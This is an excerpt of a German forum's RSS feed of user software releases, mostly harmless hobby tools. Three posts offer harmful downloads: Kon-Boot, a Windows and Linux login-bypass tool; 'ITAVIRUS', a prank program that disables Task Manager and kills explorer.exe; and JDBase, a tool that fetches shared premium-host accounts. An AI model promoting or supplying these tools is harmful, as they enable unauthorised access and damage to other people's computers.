			<category domain="showroom-102">Showroom</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">showroom-102/youtubechannelwatcher-20138</guid>
		</item>
		<item>
			<title>Vorschau The DeadZ - just another Zombie MMO shooter</title>
			<link>showroom-102/the-deadz-just-another-zombie-mmo-shooter-19745?goto=newpost</link>
			<pubDate>Sun, 13 Jan 2013 17:10:29 GMT</pubDate>
			<description>Bild: http://i.imagebanana.com/img/j5cwko08/deadz_logo.png  
 
 
Hallo Leute, 
 
Ich arbeite gerade mit meiner eigenen Community an einem Spiel. 
Es...</description>
			<content:encoded><![CDATA[<div><img src="http://i.imagebanana.com/img/j5cwko08/deadz_logo.png" border="0" alt="" /><br />
<br />
<br />
Hallo Leute,<br />
<br />
Ich arbeite gerade mit meiner eigenen Community an einem Spiel.<br />
Es wird von der Handlung wie WarZ und Co werden.<br />
Jedoch kostenlos Spielbar sein und zu 100% aus weiteren Ideen der Spieler entstehen.<br />
<br />
Eigentlich schreibe ich es hier nur weil wir noch auf der suche nach Teamverstärkung sind.<br />
<br />
Derzeit arbeiten 4 Leute an dem Projekt und wir brauchen noch 1-2 weitere Moddelierer und einen weiteren Scripter in C# in Zusammenhang mit Unity3D<br />
<br />
Auch wenn ihr keine Erfahrungen mitbringt würden wir uns freuen wenn wir Vorschläge für das Spiel sammeln können um mit neuen Ideen die Konkurenz in den Schatten zu stellen und das auch noch für Lau.<br />
(&quot;und nicht 20 euro für ein spiel mit Bugs und ohne CheatSchutz aka WarZ :-P&quot;)<br />
<br />
Es gibt halt noch nicht viel zu sehen aber hier schonmal unsere derzeitigen Arbeiten:<br />
<br />
<a href="http://uniquboard.de/entwicklung/lastdays/" target="_blank" rel="nofollow">DeadZ Preview</a><br />
<br />
Ansonsten einfach hier euren Senf abgeben.<br />
Von mir aus auch &quot;Spiele kopieren ist scheisse!&quot; <br />
dann hört auf CoD und Battlefield gleichzeitig zu spielen^^</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>soulreafer</dc:creator>
			<guid isPermaLink="true">showroom-102/the-deadz-just-another-zombie-mmo-shooter-19745</guid>
		</item>
		<item>
			<title>Facebook Chat Plugin für Visual Studio 2012</title>
			<link>showroom-102/facebook-chat-plugin-fuer-visual-studio-2012-19487?goto=newpost</link>
			<pubDate>Mon, 07 Jan 2013 01:34:56 GMT</pubDate>
			<description>Jo, hab gestern bisschen was entwickelt... 
 
Ein Plugin mit dem man im Visual Studio Fenster einen Facebook-Chatclient hat. 
Das find ich besser als...</description>
			<content:encoded><![CDATA[<div>Jo, hab gestern bisschen was entwickelt...<br />
<br />
Ein Plugin mit dem man im Visual Studio Fenster einen Facebook-Chatclient hat.<br />
Das find ich besser als ständig zwischen Browser und VS zu wechseln.<br />
<br />
Mehr infos gibt es <br />
<a href="http://k-scene.net/facebook-chat-for-vs-2012/" target="_blank" rel="nofollow">Hier (meine Page)</a><br />
oder<br />
<a href="http://visualstudiogallery.msdn.microsoft.com/7fafe1f5-657f-4fef-b567-620b5186941d" target="_blank" rel="nofollow">Dort (Offizielle Visual Studio Gallery)</a><br />
<br />
Screen:<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=2860&amp;d=1357522480" id="attachment2860" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=2860&amp;d=1357522480&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	screen12.png&nbsp;
Hits:	421&nbsp;
Größe:	46,5 KB&nbsp;
ID:	2860" class="thumbnail" style="float:CONFIG" /></a></div>


	<div style="padding:10px">

	
		<fieldset class="fieldset">
			<legend>Miniaturansichten angehängter Grafiken</legend>
			<div style="padding:10px">
			
<a href="https://u-labs.de/forum/attachment.php?attachmentid=2860&amp;d=1357522480" 
rel="Lightbox_168501" id="attachment2860"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=2860&amp;stc=1&amp;thumb=1&amp;d=1357522480" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	screen12.png&nbsp;
Hits:	-&nbsp;
Größe:	46,5 KB&nbsp;
ID:	2860"/></a>
&nbsp;

			</div>
		</fieldset>
	

	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Sky.NET</dc:creator>
			<guid isPermaLink="true">showroom-102/facebook-chat-plugin-fuer-visual-studio-2012-19487</guid>
		</item>
		<item>
			<title>Release JDBase - Jdownloader2 Premium-Tool</title>
			<link>showroom-102/jdbase-jdownloader2-premium-tool-19135?goto=newpost</link>
			<pubDate>Mon, 24 Dec 2012 12:31:32 GMT</pubDate>
			<description>Frohe Festtage zusammen ;) 
 
Hier release ich noch kurz mein kleines Tool welches ich eigentlich für den Privatgebrauch geschrieben habe. 
Die Idee...</description>
			<content:encoded><![CDATA[<div>Frohe Festtage zusammen ;)<br />
<br />
Hier release ich noch kurz mein kleines Tool welches ich eigentlich für den Privatgebrauch geschrieben habe.<br />
Die Idee stammt aus <a href="http://u-hacks.net/verschenke-118/free-och-accounts-19042/" target="_blank" rel="nofollow">Waterpolos Thread</a>.<br />
Es bezieht lediglich eine sämtliche Accounts einer Datenbank welche täglich aktuallisiert wird (<a href="http://kassio.altervista.org/jdownloader.php" target="_blank" rel="nofollow">hier</a>).<br />
Hierfür muss lediglich eine Datei ersetzt werden, welches dieses Tool für euch alles übernimmt.<br />
<br />
Screenshot:<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=2794&amp;d=1356351924" border="0" alt="Name:  ZtMP.png
Hits: 750
Größe:  16,2 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
VirusTotal:<br />
<a href="https://www.virustotal.com/file/60beeaea01eede9cf532e54d0ea00317401ffa52a948ae591bca590d50eb8e55/analysis/1356352294/" target="_blank" rel="nofollow">https://www.virustotal.com/file/60be...is/1356352294/</a><br />
<br />
Download im Anhang:<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=2795&amp;d=1356352196"  title="Name:  JDBase.exe
Hits: 738
Größe:  43,0 KB">JDBase.exe</a><br />
<br />
LG<br />
Baumstumpf<br />
P.S.: Wer es nicht braucht muss es nicht benutzen ;)<br />
<br />
in diesem Sinne: Ein frohes Fest :)</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=2794&amp;stc=1&amp;d=1356351924" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/exe.gif" alt="Dateityp: exe" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=2795&amp;d=1356352196">JDBase.exe</a> 
(43,0 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Baumstumpf</dc:creator>
			<guid isPermaLink="true">showroom-102/jdbase-jdownloader2-premium-tool-19135</guid>
		</item>
		<item>
			<title>Fail.exe</title>
			<link>showroom-102/fail-exe-18485?goto=newpost</link>
			<pubDate>Fri, 30 Nov 2012 22:20:58 GMT</pubDate>
			<description>Lustiges Scherzprogramm zum selbst nutzen und an freunde zu senden! 
 
Fail.exe (http://www.mediafire.com/?kogw82d3yx3o9q8) 
 
(is von mir, malware...</description>
			<content:encoded><![CDATA[<div>Lustiges Scherzprogramm zum selbst nutzen und an freunde zu senden!<br />
<br />
<a href="http://www.mediafire.com/?kogw82d3yx3o9q8" target="_blank" rel="nofollow">Fail.exe</a><br />
<br />
(is von mir, malware isses auch nicht, wäre dann wohl etwas größer als 25kb...)</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Sky.NET</dc:creator>
			<guid isPermaLink="true">showroom-102/fail-exe-18485</guid>
		</item>
		<item>
			<title>Release Rainmeter Modul (WeAreOne Track Info)</title>
			<link>showroom-102/rainmeter-modul-weareone-track-info-17771?goto=newpost</link>
			<pubDate>Sun, 04 Nov 2012 10:31:34 GMT</pubDate>
			<description>Das Modul einfach in euren jeweiligen Skin Ordner rein hauen. 
Und als neues Widget auf dem Desktop platzieren. 
 
Wenn man auf den Titel Klickt...</description>
			<content:encoded><![CDATA[<div>Das Modul einfach in euren jeweiligen Skin Ordner rein hauen.<br />
Und als neues Widget auf dem Desktop platzieren.<br />
<br />
Wenn man auf den Titel Klickt kommt man zum Release des Tracks auf der jeweiligen Seite.<br />
Ich bin am überlegen ob ich noch die restlichen Sender anzeigen lasse, aber die hört eh kaum jemand xDD<br />
<br />
<b><br />
Demo:</b><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=3436&amp;d=1365088494" border="0" alt="Name:  trackinfo.PNG
Hits: 346
Größe:  123,2 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<b><br />
Download:</b><br />
<a href="http://ul.to/txo1zfkv" target="_blank" rel="nofollow">http://ul.to/txo1zfkv</a></div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=3436&amp;stc=1&amp;d=1365088494" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>soulreafer</dc:creator>
			<guid isPermaLink="true">showroom-102/rainmeter-modul-weareone-track-info-17771</guid>
		</item>
		<item>
			<title>Release Greasemonkey: UH Design ändern</title>
			<link>showroom-102/greasemonkey-uh-design-aendern-17408?goto=newpost</link>
			<pubDate>Sat, 20 Oct 2012 17:26:53 GMT</pubDate>
			<description>Moin, 
mit diesem kleinen Script könnt ihr das UH design etwas anpassen. Ich habs nun nur für Chrome getestet und auch nur mit meiner Auflösung da...</description>
			<content:encoded><![CDATA[<div>Moin,<br />
mit diesem kleinen Script könnt ihr das UH design etwas anpassen. Ich habs nun nur für Chrome getestet und auch nur mit meiner Auflösung da ich mit Augenkrebs zu kämpfen hatte wo diese Forenboxen alle unterschiedlich groß waren.<br />
<br />
Wie das nachher aussieht:<br />
<br />
<img src="https://u-img.net/img/5596Xt.png" border="0" alt="" /><br />
<br />
Davor: <br />
<br />
<img src="https://u-img.net/img/4596Hf.png" border="0" alt="" /><br />
<br />
Installation:<br />
Greasmonkey (Firefox) oder Tampermonkey (Chrome) runterladen, danach auf den Link klicken:<br />
<br />
(Optional kann Chrome die Scripte auch von sich aus, werden dann jedoch direkt als Browser Add-On ausgeführt)<br />
<br />
<a href="http://userscripts.org/scripts/source/150578.user.js" target="_blank" rel="nofollow">http://userscripts.org/scripts/source/150578.user.js</a><br />
<br />
MfG</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Comu</dc:creator>
			<guid isPermaLink="true">showroom-102/greasemonkey-uh-design-aendern-17408</guid>
		</item>
		<item>
			<title>Release Kon Boot v2 und v 1.1</title>
			<link>showroom-102/kon-boot-v2-v-1-1-17305?goto=newpost</link>
			<pubDate>Tue, 16 Oct 2012 07:57:23 GMT</pubDate>
			<description>*_Kon-Boot v1.1,2.0  32bit und 64bit 
 
_* 
Kon-Boot ist eine Software welche es erlaubt, auf (fast) jedem Computer (egal ob Windows oder Linux)...</description>
			<content:encoded><![CDATA[<div><b><u><div style="text-align: center;">Kon-Boot v1.1,2.0  32bit und 64bit<br />
</div></u></b><br />
Kon-Boot ist eine Software welche es erlaubt, auf (fast) jedem Computer (egal ob Windows oder Linux) anzumelden, ohne das eigentliche root oder administrator Passwort zu kennen. Das Tool schreibt bzw. verändert jedoch keine Datei auf dem PC. Vorallem die Einfachheit von Kon-Boot überzeugt: Das Image wird einfach auf CD gebrannt oder auf die Floppy geschrieben, dann von CD/Floppy booten lassen, Passwortfeld leer lassen und einloggen. Das Passwort wird hierbei nicht gelöscht oder verändert da Kon-Boot direkt in den Speicher eingreift.<br />
<br />
Kurz und knackig gesagt bootet davon und ihr kommt in jedes Windows System rein.<br />
<br />
<b>Getestet mit 1.1:</b><br />
Windows Server<br />
Windows Vista<br />
Windows Server 2003<br />
Windows XP<br />
Windows 7<br />
Gentoo 2.6.24-gentoo-r5 GRUB 0.97<br />
Ubuntu 2.6.24.3-debug GRUB 0.97<br />
Debian 2.6.18-6-6861 GRUB 0.97<br />
Fedora 2.6.25.9-76.fc9.i6862 GRUB 0.97<br />
<b><br />
Getestet mit 2.0:</b><br />
<br />
Microsoft Windows XP 32Bit/64Bit (all versions since SP2)<br />
Microsoft Windows Server 2003 32Bit/64Bit (all versions)<br />
Microsoft Windows Server 2008 32Bit/64Bit (all versions)<br />
Microsoft Windows Vista 32Bit/64Bit (all versions)<br />
Microsoft Windows 7 32Bit/64Bit (all version)<br />
Microsoft Windows 8 32Bit/64Bit (all versions, only standard BIOS support - no EFI)<br />
<br />
Version 1.1 und 2.0 im Anhang.<br />
<br />
Quelle: Weiss ich nicht mehr genau hatte ich noch auf der Platte glaube aber boerse...<br />
<br />
Gruß<br />
<br />
Skyter</div>


	<div style="padding:10px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/rar.gif" alt="Dateityp: rar" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=416&amp;d=1350386778">Kon-Boot.v1.1.x86.64.rar</a> 
(7,5 KB)
</li><li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/rar.gif" alt="Dateityp: rar" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=417&amp;d=1350386782">Kon-Boot2.0.rar</a> 
(173,8 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Skyter</dc:creator>
			<guid isPermaLink="true">showroom-102/kon-boot-v2-v-1-1-17305</guid>
		</item>
		<item>
			<title>Release ITAVIRUS  Scherzprogramm  C#</title>
			<link>showroom-102/itavirus-scherzprogramm-c-17303?goto=newpost</link>
			<pubDate>Tue, 16 Oct 2012 06:35:39 GMT</pubDate>
			<description>Hey Leute, 
 
hatte mal vor einiger Zeit ein kleines Scherzprogramm in C# gecoded... 
 
*Features:* 
-Splashscreen 
-Autostart Eintrag 
-Registy...</description>
			<content:encoded><![CDATA[<div>Hey Leute,<br />
<br />
hatte mal vor einiger Zeit ein kleines Scherzprogramm in C# gecoded...<br />
<br />
<b>Features:</b><br />
-Splashscreen<br />
-Autostart Eintrag<br />
-Registy Eintrag<br />
-Taskmanager Deaktivert<br />
-Explorer.exe Kill (Dauerhaft)<br />
-CMD Spammer (Bis Totalauslastung)<br />
<br />
<b>Löschung:</b><br />
Um Ihn wieder los zu werden einfach im Abgesicherten Modus starten dann die Registry und den Eintrag aus dem Autostart löschen danach den Taskmanager in der Registry wieder freigeben neustart und er sollte wieder weg sein.<br />
<br />
viel spaß damit</div>


	<div style="padding:10px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/rar.gif" alt="Dateityp: rar" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=415&amp;d=1350386671">ITAVI.rar</a> 
(32,7 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Skyter</dc:creator>
			<guid isPermaLink="true">showroom-102/itavirus-scherzprogramm-c-17303</guid>
		</item>
		<item>
			<title><![CDATA[Vorschau ChaisynoX (Selbst Designed & Selbst gecodete Homepage)]]></title>
			<link>showroom-102/chaisynox-selbst-designed-selbst-gecodete-homepage-16961?goto=newpost</link>
			<pubDate>Tue, 02 Oct 2012 19:05:15 GMT</pubDate>
			<description>Hallo zusammen :D 
 
Ich bin zurzeit eine Webseite ein Coden, zweck ist egal (kann für alles sein). 
Da ich selber 0 plan von PHP hab, wollte ich mal...</description>
			<content:encoded><![CDATA[<div>Hallo zusammen :D<br />
<br />
Ich bin zurzeit eine Webseite ein Coden, zweck ist egal (kann für alles sein).<br />
Da ich selber 0 plan von PHP hab, wollte ich mal sehen wie weit ich es schaffe x'D<br />
Was ich bis jetzt geschaft habe:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			<ul><li style="">- Login <b><font color="#00FF00">(Funktioniert)</font></b></li><li style="">- Register <b><font color="#00FF00">(Funktioniert)</font></b></li><li style="">- Avatar <b><font color="#00FF00">(Funktioniert)</font></b></li><li style="">- Profil Bearbeiten <b><font color="#00FF00">(Funktioniert)</font></b></li><li style="">-&gt; - Profil Pinnwand <b><font color="#FF0000">(Nö, funktioniert noch nicht)</font></b></li><li style="">-&gt; - Profil Banner <b><font color="#00FF00">(Funktioniert)</font></b></li><li style="">-&gt; - Profil Farbe <b><font color="#00FF00">(Funktioniert)</font></b></li><li style="">- Ban System <b><font color="#FF8C00">(Naja)</font></b></li><li style="">- Shoutbox <b><font color="#00FF00">(Funktioniert)</font></b></li><li style="">-&gt; - Shoutbox Color <b><font color="#00FF00">(Funktioniert)</font></b></li><li style="">-&gt; - Shoutbox Smileys <b><font color="#00FF00">(Funktioniert)</font></b></li><li style="">-&gt; - Top Shoutbox Chatter <b><font color="#FF0000">(Nö, funktioniert noch nicht)</font></b></li><li style="">-&gt; - Shoutbox Admin <b><font color="#808000">(Naja, Clean Button geht aber sonst)</font></b></li><li style="">- Private Nachrichten versenden / empfangen <b><font color="#FF0000">(Nö, funktioniert noch nicht)</font></b></li><li style="">- Mitglieder Liste <b><font color="#A0522D">(Funktioniert / Naja)</font></b></li><li style="">- Ausloggen <b><font color="#00FF00">(Funktioniert)</font></b></li><li style="">- Sprache ändern <b><font color="#FF0000">(Nö, funktioniert noch nicht)</font></b></li><li style="">- Admin Bereich <b><font color="#FF8C00">(Naja)</font></b></li></ul>
			
		<hr />
	</div>
</div>Fals was wichtiges fehlt könnt ihr ya gerne was dazu Posten :D<br />
All credits were announced on the FAQ:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			Thema: Wir bedanken uns<br />
- Wir bedanken uns bei Kvn'X!<br />
- Wir bedanken uns bei Future Design!<br />
- Wir bedanken uns bei allen Mitglieder!
			
		<hr />
	</div>
</div>Design by: Kvn'X (BiGXxX)<br />
Idea by: Kvn'X (BigXxX)<br />
Subh by: Rn'X (TuneXxX)<br />
<br />
<font color="#FF0000"><u><font color="#00FFFF"><font size="6"><b>Screenshots:</b></font></font></u></font><br />
<font color="#00FFFF">Profil</font> <font color="#444444">[24.07.2011]</font>: <a href="http://img685.imageshack.us/img685/739/futuredesignfake.png" target="_blank" rel="nofollow">http://img685.imageshack.us/img685/7...designfake.png</a><br />
<font color="#00FFFF">Profil</font> <font color="#444444">[25.07.2011]</font>: <a href="http://img163.imageshack.us/img163/654/fdprofile.png" target="_blank" rel="nofollow">http://img163.imageshack.us/img163/654/fdprofile.png</a><br />
<font color="#00FFFF">Profil</font> <font color="#444444">[27.07.2011]</font>: <a href="http://img32.imageshack.us/img32/654/fdprofile.png" target="_blank" rel="nofollow">http://img32.imageshack.us/img32/654/fdprofile.png</a><br />
<font color="#00FFFF">Profil</font> <font color="#444444">[07.08.2011]</font>: <a href="http://img189.imageshack.us/img189/5605/15110816.png" target="_blank" rel="nofollow">http://img189.imageshack.us/img189/5605/15110816.png</a><br />
<br />
-<br />
<br />
<font color="#00FFFF">Startseite Neues Design</font> <font color="#444444">[02.08.2011]</font>: <a href="http://img171.imageshack.us/img171/6713/startseitey.png" target="_blank" rel="nofollow">http://img171.imageshack.us/img171/6713/startseitey.png</a><br />
<font color="#00FFFF">Startseite Neues Design eingeloggt</font> <font color="#444444">[02.08.2011]</font>: <a href="http://img823.imageshack.us/img823/3237/aaaags.png" target="_blank" rel="nofollow">http://img823.imageshack.us/img823/3237/aaaags.png</a><br />
<br />
Unterstützung nehme ich gerne an :)<br />
<br />
Gruß ZarneXxX.<br />
<br />
<br />
<br />
<b><font color="#FF0000"><font size="3">Edit:</font></font></b><font color="#FF0000"><br />
Ohh habe die Live URL vergessen: <a href="http://www.ChaisynoX.com.nu" target="_blank" rel="nofollow">ChaisynoX - Homepage</a></font></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>ZarneXxX</dc:creator>
			<guid isPermaLink="true">showroom-102/chaisynox-selbst-designed-selbst-gecodete-homepage-16961</guid>
		</item>
		<item>
			<title>Release Youtube Downloader</title>
			<link>showroom-102/youtube-downloader-15868?goto=newpost</link>
			<pubDate>Sat, 25 Aug 2012 08:43:17 GMT</pubDate>
			<description>Hey! 
 
Da mir gerade langweilig war, hab ich einen Youtube Downloader gecodet. Dieser greift auf die Seite von Flohigh zu(Free YouTube Converter -...</description>
			<content:encoded><![CDATA[<div>Hey!<br />
<br />
Da mir gerade langweilig war, hab ich einen Youtube Downloader gecodet. Dieser greift auf die Seite von Flohigh zu(<a href="http://youtube2mp3.to/eu/" target="_blank" rel="nofollow">Free YouTube Converter - Youtube2mp3</a>) und lädt das  Video runter. Daher ein großes Danke an <b><font color="Red">Flohigh</font></b>.<br />
<br />
Ansonsten gibt es zu dem Programm nicht viel zu sagen, nur Youtube Link oder ID angeben. Wenn man den Youtube Link eingibt, wandelt er diesen automatisch zu einer ID um. Dann noch Filepath wählen und dann den Download Button drücken, sobald der Download abgeschlossen ist, wird das Programm euch benachrichtigen.<br />
<br />
<br />
Virustotal: <a href="https://www.virustotal.com/file/fa2c0b69fb2126a5458e453ea7455c56b094935337f2730a907f0ad960efd6b7/analysis/1345884098/" target="_blank" rel="nofollow">https://www.virustotal.com/file/fa2c...is/1345884098/</a><br />
<br />
Download: ~~~&gt; Anhang</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>rVs14</dc:creator>
			<guid isPermaLink="true">showroom-102/youtube-downloader-15868</guid>
		</item>
		<item>
			<title>Release Minecraft Rezepturen</title>
			<link>showroom-102/minecraft-rezepturen-15765?goto=newpost</link>
			<pubDate>Mon, 20 Aug 2012 18:36:17 GMT</pubDate>
			<description>Screens: 
 
Anhang 7424 (https://u-labs.de/forum/attachment.php?attachmentid=7424) 
 
Anhang 7425...</description>
			<content:encoded><![CDATA[<div>Screens:<br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7424&amp;d=1396491041" border="0" alt="Name:  2eycjr9.png
Hits: 422
Größe:  56,4 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7425&amp;d=1396491060" border="0" alt="Name:  a5di0j.png
Hits: 376
Größe:  9,9 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7426&amp;d=1396491069" border="0" alt="Name:  343pzlf.png
Hits: 413
Größe:  16,7 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7427&amp;d=1396491078" border="0" alt="Name:  35jcv9u.png
Hits: 397
Größe:  30,7 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7428&amp;d=1396491088" border="0" alt="Name:  axeamh.png
Hits: 432
Größe:  35,4 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7429&amp;d=1396491118" border="0" alt="Name:  ymejt.png
Hits: 411
Größe:  25,5 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<b><u>Informationen:</u></b><br />
- <b>Sprache:</b> Deutsch<br />
- <b>Größe:</b> 1,2MB<br />
<br />
<b><u>VirusTotal:</u></b><br />
<a href="https://www.virustotal.com/file/4ef06707ceb3f34adeaf943a106f6fe0a30ac348dae76bef668f8a086bca3970/analysis/1347769747/" target="_blank" rel="nofollow">https://www.virustotal.com/file/4ef0...is/1347769747/</a><br />
<br />
<b><u>Download:</u></b><br />
<a href="http://www.mediafire.com/?463mkrys1ic4jfx" target="_blank" rel="nofollow">http://www.mediafire.com/?463mkrys1ic4jfx</a> (Oder bei alter Version über die Updatefunktion)<br />
<b><u><br />
Vorraussetzungen:</u></b><br />
- <a href="http://www.chip.de/downloads/Microsoft-.NET-Framework-4.0_36595082.html" target="_blank" rel="nofollow">http://www.chip.de/downloads/Microso..._36595082.html</a><br />
<b><u><br />
Geplante Änderungen:</u></b><br />
- Gegenständen eine kleine Beschreibung zuordnen<br />
- 3D Avatare erstellen<br />
<br />
MfG, x BoooMx.</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7424&amp;stc=1&amp;d=1396491041" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7425&amp;stc=1&amp;d=1396491060" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7426&amp;stc=1&amp;d=1396491069" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7427&amp;stc=1&amp;d=1396491078" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7428&amp;stc=1&amp;d=1396491088" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7429&amp;stc=1&amp;d=1396491118" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>x BoooM x</dc:creator>
			<guid isPermaLink="true">showroom-102/minecraft-rezepturen-15765</guid>
		</item>
		<item>
			<title>Release SQL-Generator</title>
			<link>showroom-102/sql-generator-15375?goto=newpost</link>
			<pubDate>Sat, 04 Aug 2012 16:14:19 GMT</pubDate>
			<description>Hallo,  
hier ein neues Projekt von mir, das noch erweitert wird. 
Es handelt sich um einen einfachen SQL-Generator, 
folgende Funktionen sind...</description>
			<content:encoded><![CDATA[<div>Hallo, <br />
hier ein neues Projekt von mir, das noch erweitert wird.<br />
Es handelt sich um einen einfachen SQL-Generator,<br />
folgende Funktionen sind momentan vorhanden:<br />
<br />
<img src="https://u-img.net/img/5242Oq.png" border="0" alt="" /><br />
<br />
Damit niemand .NET Reflector benutzen muss gibt's hier sogar noch den Code:<br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">using System;<br />
using System.Collections.Generic;<br />
using System.Linq;<br />
using System.Text;<br />
<br />
namespace SQL_Generator<br />
{<br />
&nbsp; &nbsp; class Program<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; static void Main(string[] args)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Title = &quot;SQL-Generator&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; choose_action();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; static void choose_action()<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Clear();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.Green;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  SQL-Generator 0.1 | visit http://nico-schmitz.de&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.White;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Choose an action:&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;[1] Connect to a MySQL database&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;[2] Create database&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;[3] Select data from a database table&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;[4] The WHERE clause&quot;);<br />
